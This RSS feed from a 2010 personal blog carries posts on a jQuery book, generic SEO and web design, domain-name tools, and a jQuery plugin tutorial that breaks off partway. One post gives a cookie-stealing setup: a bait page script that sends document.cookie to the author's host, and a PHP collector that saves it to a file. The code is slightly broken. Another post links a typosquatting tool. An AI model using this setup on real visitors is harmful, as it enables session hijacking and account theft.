<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BUUP • the most reckless compilation of preposterous rants</title>
	<atom:link href="http://buup.mephir.com/feed" rel="self" type="application/rss+xml" />
	<link>http://buup.mephir.com</link>
	<description></description>
	<lastBuildDate>Tue, 24 Aug 2010 18:01:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>jQuery plugin development beginner&#8217;s guide</title>
		<link>http://buup.mephir.com/read/jquery-plugin-development-beginners-guide</link>
		<comments>http://buup.mephir.com/read/jquery-plugin-development-beginners-guide#comments</comments>
		<pubDate>Tue, 24 Aug 2010 17:50:28 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[announcements]]></category>
		<category><![CDATA[books]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=78</guid>
		<description><![CDATA[Recently announced, my book about the fabulous JavaScript library jQuery is getting closer to its publication date. Yes, that will be the so-original cover for the book, which will be &#8220;soon&#8221; available, probably around December. In which falls Christmas time. In which people buy gifts for their loved ones. Those loved ones whose greatest wish [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://www.packtpub.com/jquery-plugin-development-beginners-guide/book">Recently announced</a>, my book about the fabulous JavaScript library <a href="http://jquery.com">jQuery</a> is getting closer to its publication date.</p>
<p><a href="https://www.packtpub.com/jquery-plugin-development-beginners-guide/book"><img class="aligncenter" title="jQuery Plugin Development Beginner's Guide " src="https://www.packtpub.com/sites/default/files/2244OS_MockupCover_Beginers%20guide_0.jpg" alt="" width="230" height="284" /></a></p>
<p>Yes, that will be the so-original cover for the book, which will be &#8220;soon&#8221; available, probably around December. In which falls Christmas time. In which people buy gifts for their loved ones. Those loved ones whose greatest wish is to receive a copy of a book about&#8230; programming?! Oh well&#8230;</p>
<p>Anyway, here is an overview of what the book is actually about (I sincerely apologize for the number of times the words <em>&#8220;plugin&#8221;</em> and <em>&#8220;jQuery&#8221;</em> are repeated):</p>
<ul>
<li>Utilize jQuery&#8217;s plugin framework to create a wide range of useful jQuery plugins from scratch</li>
<li>Understand development patterns and best practices and move up the ladder to master plugin development</li>
<li>Discover the ins and outs of some of the most popular jQuery plugins in action</li>
<li>A Beginner&#8217;s Guide packed with examples and step-by-step instructions to quickly get your hands dirty in developing high quality jQuery plugins</li>
</ul>
<p>More information can be found at this address: <a href="https://www.packtpub.com/jquery-plugin-development-beginners-guide/book">https://www.packtpub.com/jquery-plugin-development-beginners-guide/book</a>.</p>
<p>As a last remark, I want t let you know some of the pages of the book will be reproduced here, on this blog, for everybody to read and laugh on.</p>
<p>So, yeah, stay tuned for some more or less interesting stuff now and then.</p>
<p>Oh, and the first two guys who will contribute in any considerable way to this site (yeah, any way – free your mind), be it an article, an icon or whatever you may think useful, will <strong>get a free copy</strong> of this precious manuscript of mine. No kidding.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/jquery-plugin-development-beginners-guide/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO essentials</title>
		<link>http://buup.mephir.com/read/seo-essentials</link>
		<comments>http://buup.mephir.com/read/seo-essentials#comments</comments>
		<pubDate>Thu, 22 Jul 2010 08:10:09 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=103</guid>
		<description><![CDATA[SEO is a very important part of every websites&#8217; revenue. You may concentrate on short term success but the long term success is the one which will bring you serious and stable money. It can be achieved with proper search engine optimization and therefore if you are in this business you need to know a [...]]]></description>
			<content:encoded><![CDATA[<p>SEO is a very important part of every websites&#8217; revenue. You may concentrate on short term success but the long term success is the one which will bring you serious and stable money. It can be achieved with proper search engine optimization and therefore if you are in this business you need to know a few important things about SEO.</p>
<p>The main purpose of good SEO is to attract a big number of visitors from search engines. You will not have to pay for these visitors like it happens with pay per click ads for example.</p>
<p>There are other ways of attracting traffic on your website but SEO remains the best option in this matter. It can help you both attract traffic and rank higher at search engines. Other ways of increasing your traffic would be through banner advertising and pay per click ads.</p>
<p>These will offer results after a few minutes since you pay them but they are inefficient on the long term. When your marketing campaign will end, the number of visitors will drastically decrease.</p>
<p>You can choose to do the SEO part of your website your own or you can opt for hiring some expert to do it for you. In both cases you should know a few basic things about SEO. If you do the SEO yourself you should be documented in order to obtain the desired results.</p>
<p>Luckily, there are many websites that explain you the basics of SEO so you will have many of them to choose from. If you choose for someone else to optimize your website for search engines you need to do a little research on the market for the best price and the best references.</p>
<p>In some cases it is advisable to hire a specialist to do the SEO job for you. This is because they are usually aware of the changes that search engines do to their algorithms. Even if you know a few basic things you may not be up to date with the last changes.</p>
<p>The techniques used for SEO purposes are diverse and the specialists of the domain usually apply many of them. Content is the king when it comes to SEO. Both text and images are important for search engines as they see images as the graphic representation of plain text.The pages should have at least 400 words each and the text should be carefully written without grammar errors and other flaws.</p>
<p>It is advisable to have at least 2% keyword density and your headers should contain keywords for the best results.Back linking is a very important SEO technique as well. You should have back links from as many related websites to your domain as you can.</p>
<p>In conclusion, SEO is a good way of increasing your traffic and making more money from your website. However, it is not as easy to do as you might think. Therefore, if you are not a specialist in SEO you should hire someone else who is up to date with the changes search engines perform on their algorithms.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/seo-essentials/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>White hat and black hat SEO</title>
		<link>http://buup.mephir.com/read/white-hat-and-black-hat-seo</link>
		<comments>http://buup.mephir.com/read/white-hat-and-black-hat-seo#comments</comments>
		<pubDate>Sat, 17 Jul 2010 06:40:09 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=101</guid>
		<description><![CDATA[The Search Engine Optimization (SEO) is one of the most popular methods of maximizing the profits of an online business. SEO has great advantages for website owners in terms of generating more traffic and therefore more money from their online business. The purpose of SEO is getting the website to the first pages of search [...]]]></description>
			<content:encoded><![CDATA[<p>The Search Engine Optimization (SEO) is one of the most popular methods of maximizing the profits of an online business. SEO has great advantages for website owners in terms of generating more traffic and therefore more money from their online business.</p>
<p>The purpose of SEO is getting the website to the first pages of search engines. As there are millions of searches performed every day on these search engines, your website will be accessed by thousands of people. As a normal consequence of increased traffic, your revenues will increase too.</p>
<p>SEO has two main categories: white hat SEO and black hat SEO. These two categories come from the way SEO is applied. The white hat SEO uses honest methods for attracting more traffic and improving a website while black hat SEO uses unethical methods of manipulating the search engines.</p>
<p>The website owners have several methods of increasing their website&#8217;s traffic and as a consequence their revenue. These methods are prepaid advertisements, pay per click ads and organic search listings. SEO is the one who increases a website&#8217;s profitability through organic search listings.</p>
<p>The pay per click advertising is a good way of generating traffic. One big advantage of this way of increasing one website&#8217;s revenue is that the results can be seen very fast. There are cases when the ads appear only after a few minutes since you paid them.</p>
<p>Usually they have to be manually approved by one administrator of the pay per click company but they generally move very fast. The main disadvantage comes with the costs of a pay per click marketing campaign. They can be pretty high especially if you act on a crowded market.</p>
<p>The main difference between pay per click advertising and organic search listings is that once the PPC marketing campaign ends, you will not get traffic anymore while the organic listings will bring you customers without having to pay anything.</p>
<p>The white hat SEO has a few basic techniques that can bring you on the search engines&#8217; first pages. It focuses mainly on improving the content of a website and generating genuine ranking.</p>
<p>For example, if you are planning to use SEO techniques you should have a clean code. This means you have to make a simple code focused on delivering content to the customers or users of your website. This way search engines will decipher your links easier and you will rank higher.</p>
<p>The main thing you should be aware is that both quality and quantity are important when it comes to implementing SEO techniques. There are many people who only concentrate on quality and others who focus on quantity when it comes to their websites&#8217; content. You should be able to create both quality and rich content for your pages.</p>
<p>You need to have at least 400 words per every page of your website. Also, you should avoid grammar errors or mismatching content. The satisfaction of your costumers and their frequency of visits are very important for ranking higher at search engines.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/white-hat-and-black-hat-seo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO or Web Design?</title>
		<link>http://buup.mephir.com/read/seo-or-web-design</link>
		<comments>http://buup.mephir.com/read/seo-or-web-design#comments</comments>
		<pubDate>Mon, 12 Jul 2010 10:00:38 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[web-design]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=96</guid>
		<description><![CDATA[SEO and web design are two of the most popular concepts in the Internet world. They are similar in some ways but there are also many differences between them. There are companies that offer both of these services to their customers and other companies that are specialized on one of them. In this article you will find the basic similarities, relations and differences between SEO and web design.]]></description>
			<content:encoded><![CDATA[<p>SEO and web design are two of the most popular concepts in the Internet world. They are similar in some ways but there are also many differences between them. There are companies that offer both of these services to their customers and other companies that are specialized on one of them. In this article you will find the basic similarities, relations and differences between SEO and web design.</p>
<p>If you are new to Internet business you should be able to make a difference between SEO and <a href="http://buup.mephir.com/read/web-design-for-seo-basics">web design</a>. Search engine optimization (SEO) is all about getting your website on the first pages of search engines for specific terms called keywords.</p>
<p>If you are the proud owner of a website you should know that the best way of increasing your traffic with small money is through properly using <a title="URL Rewriting" href="http://buup.mephir.com/read/ultimate-guide-to-url-rewriting">SEO techniques</a>. This way you will have results on the long term unlike for using pay per click advertising. With pay per click advertising you will have immediate results but these results will disappear once you decide to end your marketing campaign.</p>
<p>On the other hand, using SEO will bring you free traffic on the long term. Mainly, SEO has two major techniques of improving your page rank and getting more traffic: The website optimization and link building.</p>
<p>The first big part of SEO, the website optimization is divided into 2 smaller parts: web design and content. The web design is very important for SEO. This is because it should be friendly to search engines for good SEO results of your website.</p>
<p>The arranged elements of web design are text, graphics, color and free spaces. Many website owners choose to use template designs on their websites as they think the costs are much lower. The truth is that given the big number of web design companies, the price difference is not so important.</p>
<p>The navigation and the user interface are the most important aspects web designers focus on. The website aesthetics are also important. The aesthetics should be in accordance to the type of website and the target customers.</p>
<p>This is why the web designers will ask you questions about these two aspects when you hire them. They need to know if you need a youngster design, a professional design or any other types of customers you want to attract on your website.</p>
<p>In summary, search engine optimization and web design are two different terms with something in common: they both help at increasing your traffic and making money from it. Therefore if you have an idea of a website and you want to hire web designers and SEO specialist, it is advisable to choose a company that offers both of these services.</p>
<p>This way you will make sure that both of these things are done by a group of people who work for the same thing: increasing your traffic. However, choosing such a company should be done after thoroughly doing a research in order to find the best one on the market.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/seo-or-web-design/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web design for SEO basics</title>
		<link>http://buup.mephir.com/read/web-design-for-seo-basics</link>
		<comments>http://buup.mephir.com/read/web-design-for-seo-basics#comments</comments>
		<pubDate>Sat, 10 Jul 2010 13:12:06 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[web-design]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=85</guid>
		<description><![CDATA[The web design is the part of website creation that consists of the proper layout of images and text on a web page. The actual creation of the web pages can be seen as web design. The web design is one of the most important parts of websites as it can help you best at [...]]]></description>
			<content:encoded><![CDATA[<p>The web design is the part of website creation that consists of the proper layout of images and text on a web page. The actual creation of the web pages can be seen as web design. The web design is one of the most important parts of websites as it can help you best at making your website stand out from the others.</p>
<p>There is no purpose in posting a lot of quality content without having people who read it. Through having a great web design you may actually create a link between content, traffic and more visitors for your online page, blog or website.</p>
<p>The web design includes several techniques that are used for better <strong>aesthetic impression</strong> and <strong>easy navigating</strong> of the visitors.</p>
<p>These techniques are presented below in this article:</p>
<ul>
<li>The content should be <em>relevant</em> to the targeted visitors.</li>
<li>Your web pages should be <em>user friendly</em> and the navigation should be reliable and simple.</li>
<li>The appearance of your website should include only <strong>one style </strong>throughout your web pages. You should have the same style for text and images in the whole website. The style should be appealing and made in concordance to the targeted visitors.</li>
</ul>
<p>After the design of your website is finished, your website should be uploaded for the Internet visitors. The main way of doing that is by using a<em> FTP client</em>. After the website is up and running you should focus on getting traffic and writing quality content. Traffic is the most important thing for all websites, as it means visitors.</p>
<p>From traffic you may also increase your popularity or make yourself heard by the Internet community; therefore you should use all the means you can to attract traffic on your website. This may be done using SEO and advertising.</p>
<p>There are many web design companies you may choose from for your website. If you want to launch a new website, it is advisable for you to choose a web design company that does SEO too. This is because you want all the people working at your website to be focused on one main thing: how to attract traffic.</p>
<p>There are web designers that are more concerned on the aesthetic part of the website than on getting traffic. These two things should be simultaneously done: you should have a well looking and SEO friendly website in order to rank well in search engines and have people interested in what you have to say.</p>
<p>In conclusion, if you are a proud owner of a website and want to develop it into something better you should use SEO and web design techniques for that. If you do not have the time or knowledge for that, hiring professionals is the best option for you. You may choose from the big variety of these experts found on the market.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/web-design-for-seo-basics/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Stealing visitor&#8217;s cookies with PHP and JavaScript</title>
		<link>http://buup.mephir.com/read/stealing-visitors-cookies-with-php-and-javascript</link>
		<comments>http://buup.mephir.com/read/stealing-visitors-cookies-with-php-and-javascript#comments</comments>
		<pubDate>Thu, 08 Jul 2010 08:19:36 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[stealing]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=83</guid>
		<description><![CDATA[Yes, you read well: we&#8217;re talking about getting a visitor&#8217;s cookies through PHP and JavaScript. Obviously that person must visit a particular page on our website, which will be appositely created to look harmless and perfectly safe to browse. We&#8221;re going to try getting cookies using a really simple PHP script and a bit of [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, you read well: we&#8217;re talking about getting a visitor&#8217;s cookies through PHP and JavaScript.<br />
Obviously that person must visit a particular page on our website, which will be appositely created to look harmless and perfectly safe to browse.</p>
<p>We&#8221;re going to try getting cookies using a really simple PHP script and a bit of JavaScript to create the dynamic URL we need.<br />
The JavaScript code is what actually gets the cookie content while the PHP part is used to save the received data to a file, located on our Hard Drive.</p>
<p>The entire script will pass data through GET variables.</p>
<h3>The HTML page</h3>
<p>We need a <em>normal</em> HTML page to put a JavaScript snippet in; so create a page called <em>foo.html</em> and, just under the <em>&lt;body&gt; </em>tag insert the following code</p>
<pre>&lt;script&gt;
    window.location=""http://yoursite.com/getcookie.php?data=" . document.cookie
&lt;/script&gt;</pre>
<p>Once the user loads the page, he&#8221;s immediately redirected to <em>getcookie.php</em> with a variable (<em>data</em>) containing the cookie content.</p>
<p>The PHP page will the save it into a file (which you can open and read its content) and redirects to another page.</p>
<h3>Getting the cookie</h3>
<p>Here is the script core, which actually does the trick and makes the whole system work.</p>
<pre>&lt;php
// Get what comes after the word 'data' in the URL
$data = $_GET['data'];

// Create a new file called 'cookie_1234567.txt' and opens it
// The numbers changes each time the function is called, since it
// represents the UNIX timestamp of the exact moment the function 'time()'
// is called
$file = fopen ("cookie_" . time() . ".txt");

// Writes $data to the $file
fwrite ($file, $data);

// Closes handle
fclose ($file);

// If you want to print results here, uncomment the following line
// and remove 'header (...)'// Redirects to another page
header ("Location: http://google.com");
?&gt;
</pre>
<p>Wow, try it to check if it works. It should create the file <em>cookie_[timestamp].txt</em> and redirect you to <em>google.com</em> or just output the data, as you decided.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/stealing-visitors-cookies-with-php-and-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How people look at elements on a web page</title>
		<link>http://buup.mephir.com/read/how-people-look-at-elements-on-a-web-page</link>
		<comments>http://buup.mephir.com/read/how-people-look-at-elements-on-a-web-page#comments</comments>
		<pubDate>Tue, 06 Jul 2010 10:00:53 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=75</guid>
		<description><![CDATA[When it comes to web design, the most important thing you should know is how people tend to look at a web page. For example, English speaking people (well, western culture to generalize) tend to read from left to right and therefore the main point of attraction for them would be in the upper left [...]]]></description>
			<content:encoded><![CDATA[<p>When it comes to web design, the most important thing you should know is how people tend to look at a web page. For example, English speaking people (well, western culture to generalize) tend to read from left to right and therefore the main point of attraction for them would be in the upper left corner. Web designers use this knowledge for enhancing the website aspect.</p>
<p>Besides the well known top left corner, there are other things that attract people&#8217;s eyes on a web page. These things are the colors, the pictures or videos or the headings.</p>
<p>You should use these web design techniques to draw attention at some important part of your website, or to guide your visitors to items you want them to see as these items are the most interesting ones. There a few researches done in the field of web design and the results show that people tend to look at web pages in the places they expect information instead of ads.</p>
<p>From such studies it is shown that people usually look at the upper left corner, than scan through headings and only after that they actually read the content of a web page. They also scan the images and the videos before they actually read the text.</p>
<p>Also, people usually prefer text ads instead of banner ads. This is very important if you want to advertise your website as you should choose PPC advertising instead of the classic one with banners.</p>
<p>Another thing people are attracted is images of the human face. Therefore you should try that if your website is in a related category. The navigation bar is also important. It should be usually put in the upper left corner as people should find it easily. If your visitors will find the website complicated, chances are they will reject it.</p>
<p>However, if you website is easy to navigate but it is different from others, it will be seen as original. For example you can put the navigation bar in the top right corner. The visitors will look for it and they will see other information put on your website in the upper left side. One good idea for this would be putting the logo there in order for your customers to remember it.</p>
<p>In conclusion, using these web design techniques will improve the traffic and the results of your website in terms of usability. By knowing them you will have an edge on everybody who doesn&#8217;t know anything about web design, and people will see your website as original or extremely functional.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/how-people-look-at-elements-on-a-web-page/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top tools to pick the best domain for your business</title>
		<link>http://buup.mephir.com/read/top-tools-to-pick-the-best-domain-for-your-business</link>
		<comments>http://buup.mephir.com/read/top-tools-to-pick-the-best-domain-for-your-business#comments</comments>
		<pubDate>Sat, 03 Jul 2010 15:17:35 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Web roundup]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[naming]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=41</guid>
		<description><![CDATA[Picking a domain name can be a very hard task. Perhaps you already have your company name and are ready to launch it on the Web, but you can&#8217;t find the corresponding web address free. So, what to do if someone else has already registered the desired domain name and it isn&#8217;t available for buying? [...]]]></description>
			<content:encoded><![CDATA[<p>Picking a domain name can be a very hard task.</p>
<p>Perhaps you already have your company name and are ready to launch it on the Web, but you can&#8217;t find the corresponding web address free. So, what to do if someone else has already registered the desired domain name and it isn&#8217;t available for buying? Just find a new one! The Web is full with resources to help you find a great alternative to your original idea, adding prefixes, suffixes and common words that can help your brand to identify and make it easier to remember, too.</p>
<p>And, if you just want a nice name to launch your company with or are willing to publish some personal website, what you need is just a shiny new cool name to start with!</p>
<h3>Words combining</h3>
<p>The most popular tools to find a domain name base their functioning on the user input.</p>
<p>Users just enter some words they think describe their business and the application outputs a list of names generated by combining all the words provided together.</p>
<p>This process is particlary sueful if you have already some ideas about what your domain name will look like, or want to see some word combination and hope you get some ideas from the results.</p>
<p><strong>Domain generator</strong> — <a href="http://www.domain-generator.net/domain-combination.html">http://www.domain-generator.net/domain-combination.html</a></p>
<p><a href="http://www.domain-generator.net/domain-combination.html"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/domain-generator.jpg" alt="" /></a></p>
<p><strong>Domain exposer</strong> — <a href="http://www.domainexposer.com/">http://www.domainexposer.com/</a></p>
<p><a href="http://www.domainexposer.com/"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/domain-exposer.jpg" alt="" /></a></p>
<p><strong>Bust a name</strong> — <a href="http://www.bustaname.com">http://www.bustaname.com</a></p>
<p><a href="http://www.bustaname.com/"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/bustaname.jpg" alt="" /></a></p>
<p><strong>Nameboy</strong> — <a href="http://www.nameboy.com">http://www.nameboy.com</a></p>
<p><a href="http://www.nameboy.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/nameboy.jpg" alt="" /></a></p>
<p><strong>Domain name creator</strong> — <a href="http://www.networksolutions.com/domain-name-registration/domain-name-creator.jsp">http://www.networksolutions.com/domain-name-registration/</a></p>
<p><a href="http://www.networksolutions.com/domain-name-registration/domain-name-creator.jsp"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/netsolutions.jpg" alt="" /></a></p>
<p><strong>Suggest.Name</strong> — <a href="http://suggest.name">http://suggest.name</a></p>
<p><a href="http://suggest.name"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/suggest.jpg" alt="" /></a></p>
<p><strong>Keyhints</strong> — <a href="http://domains.keyhints.com">http://domains.keyhints.com</a></p>
<p><a href="http://domains.keyhints.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/keyhints.jpg" alt="" /></a></p>
<p><strong>New Doamin Name Generator</strong> — <a href="http://newdomainnamegenerator.com">http://newdomainnamegenerator.com</a></p>
<p><a href="http://newdomainnamegenerator.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/newgenerator.jpg" alt="" /></a></p>
<h3>Random domain names</h3>
<p>For those who haven&#8217;t the slightest idea of what words their domain name should contain, there are some great random domain name generators that jsut get the job done.</p>
<p><strong>Makewords</strong> — <a href="http://www.makewords.com">http://www.makewords.com</a></p>
<p><a href="http://www.makewords.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/makewords.jpg" alt="" /></a></p>
<p><strong>Randomainer</strong> — <a href="http://www.randomainer.com">http://www.randomainer.com</a></p>
<p><a href="http://www.randomainer.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/randomainer.jpg" alt="" /></a></p>
<h3>Typos-based domain names</h3>
<p>Ok, this one is just creepy, but if you have ever wished to have your very own domain name on which people click jsut because its name is so close to the word &#8220;google&#8221;, well this tools does just this.</p>
<p><strong>Domain Name Soup</strong> — <a href="http://www.domainnamesoup.com/domain-name-typos.php">http://www.domainnamesoup.com/domain-name-typos.php</a></p>
<p><a href="http://www.domainnamesoup.com/domain-name-typos.php"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/domainnamesoup.jpg" alt="" /></a></p>
<h3>Web 2.0 names</h3>
<p>Whatever the term Web 2.0 may mean, many web companies need a name that&#8217;s in line with their new-media services or products. Those names are in the fashion of popular web sites that deal with news (Digg, del.icio.us), media (Flickr, Vimeo) and everything else which is Web 2.0 and stylish.</p>
<p><strong>Domainr</strong> — <a href="http://domai.nr">http://domai.nr</a></p>
<p><a href="http://domai.nr"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/domainr.jpg" alt="" /></a></p>
<p><strong>Dotomator</strong> — <a href="http://www.dotomator.com/web20.html">http://www.dotomator.com/web20.html</a></p>
<p><a href="http://www.dotomator.com/web20.html"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/dotomator.jpg" alt="" /></a></p>
<p><strong>Hackslash</strong> — <a href="http://www.hackslash.net/?page_id=48">http://www.hackslash.net/?page_id=48</a></p>
<p><a href="http://www.hackslash.net/?page_id=48"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/hackslash.jpg" alt="" /></a></p>
<p><strong>Web Scripts Lab</strong> — <a href="http://www.webscriptlab.com/domainnamegenerator.php">http://www.webscriptlab.com/domainnamegenerator.php</a></p>
<p><a href="http://www.webscriptlab.com/domainnamegenerator.php"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/webscriptslab.jpg" alt="" /></a></p>
<p><strong>Surf7</strong> — <a href="http://www.surf7.net/product/tools/domaingenerator.php">http://www.surf7.net/product/tools/domaingenerator.php</a></p>
<p><a href="http://www.surf7.net/product/tools/domaingenerator.php"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/domainnamesoup.jpg" alt="" /></a></p>
<p><strong>Internet Marketing Fool</strong> — <a href="http://www.internetmarketingfool.com/web-2-0-name-generator.php">http://www.internetmarketingfool.com/web-2-0-name-generator.php</a></p>
<p><a href="http://www.internetmarketingfool.com/web-2-0-name-generator.php"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/internetmarketingfool.jpg" alt="" /></a></p>
<h3>Naming companies</h3>
<p>And if you really can&#8217;t find a domain name that suits your needs, just head up to one of the domain naming companies around the web. They offer a professional approach to the problem and go straight to the point, often coming up with great domain names you surely like.</p>
<p><strong>Purrple</strong> — <a href="http://www.purrple.com">http://www.purrple.com</a></p>
<p><a href="http://www.purrple.com"><img src="http://buup.mephir.com/wp-content/uploads/2010/07/purrple.jpg" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/top-tools-to-pick-the-best-domain-for-your-business/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to create your own jQuery plugin from scratch</title>
		<link>http://buup.mephir.com/read/how-to-create-your-own-jquery-plugin-from-scratch</link>
		<comments>http://buup.mephir.com/read/how-to-create-your-own-jquery-plugin-from-scratch#comments</comments>
		<pubDate>Thu, 01 Jul 2010 09:30:43 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[plugins]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=35</guid>
		<description><![CDATA[Firstly, wouldn&#8217;t it be nice to have a plugin that, whenever you hover an element, applies some sort of styling to it? Ok, the answer I was expecting here is &#8220;yes&#8221;. Starting out As we all know, the basic structure for a plugin is jQuery.fn.pluginName = function () { return this.each (function () { // [...]]]></description>
			<content:encoded><![CDATA[<p>Firstly, wouldn&#8217;t it be nice to have a plugin that, whenever you hover an element, applies some sort of styling to it? Ok, the answer I was expecting here is &#8220;yes&#8221;.</p>
<h3>Starting out</h3>
<p>As we all know, the basic structure for a plugin is</p>
<pre><code>jQuery.fn.pluginName = function () {
	return this.each (function () {
		// code
	});
}
</code></pre>
<p>Mind the &#8216;jQuery&#8217; part (not just &#8216;$&#8217;) so aliases can be easily set using the <em><a href="http://docs.jquery.com/Core/jQuery.noConflict">noConflict()</a></em> method.</p>
<p>And this would be enough to paint an element blue with some yellow text</p>
<pre><code>jQuery.fn.paint = function () {
	return this.each (function () {
		$(this).css ("color", "yellow").css ("background-color", "blue");
	});
}
</code></pre>
<p>We should now have two files ready: one is the HTML page, from which the jQuery library is included; the other is the plugin.js file, containing the above snippet. The plugin file must be included in the page too, just after the jQuery script!</p>
<p>Inside the <em>$document).ready()</em> function goes the following</p>
<pre><code>$(document).ready (function () {
	$("#mydiv").paint ();
})
</code></pre>
<p>Make sure, of course, you have a div element called &#8216;mydiv&#8217; with something written in!</p>
<p>Now check and see the yellow text on blue background.</p>
<h3>One step further</h3>
<p>Fine. That&#8217;s nice. But we want the plugin to work for every element without having to change colors every time.</p>
<p>Back to <em>plugin.js</em>, we change our plugin definition to accept options.</p>
<pre><code>
jQuery.fn.paint = function (options) {
	var defaults = {
		fg: 'yellow',
		bg: 'blue'
	};

	var opts = jQuery.extend (defaults, options);

	return this.each (function () {
		$(this).css ("color", opts.fg).css ("background-color", opts.bg);
	});
}
</code></pre>
<p>The &#8216;defaults&#8217; object is to hold the values we want to back off to when they are not passed with the options parameter.</p>
<p>The very next part (<em>jQuery.extend</em>) tells the library to combine the two objects: if some of the options are not passed by the user, we use the defaults; the &#8216;opts&#8217; object is what we&#8217;ll be using from now on to access those variables.</p>
<p>To check this step, reload the page, seeing no changes (we haven&#8217;t passed any arguments, so we default to yellow text on blue background).</p>
<p>Though, if we had two elements</p>
<pre>&lt;div id="first"&gt;Hello there&lt;/div&gt;
&lt;div id="second"&gt;I'm cool&lt;/div&gt;</pre>
<p>we could color those two in different ways with our shiny new plugin</p>
<pre><code>$("#first").paint ({ fg: 'blue', bg: 'yellow' });
$("#second").paint ({ fg: 'red', bg: 'green' });
</code></pre>
<p>Not bad huh?</p>
<h3>Hovering effect</h3>
<p>We&#8217;re now facing another problem though: our first intention was to activate this behavior when hovering the element, not once the page loads and forever!</p>
<p>Nothing easier! We use this code to activate the effect</p>
<pre><code>$(this).hover (function () {
	$(this).css ("color", opts.fg).css ("background-color", opts.bg);
});
</code></pre>
<p>But we have to find a way to remember the previous colors and restore them once the mouse moves out.</p>
<pre><code>return this.each (function () {
	var obj = $(this);

	var fg_old = obj.css ("color");
	var bg_old = obj.css ("background-color");

	obj.hover (function () {
		obj.css ("color", opts.fg).css ("background-color", opts.bg);
	}, function () {
		obj.css ("color", fg_old).css ("background-color", bg_old);
	});
});
</code></pre>
<p>This should be pretty straightforward, anyway:</p>
<ul>
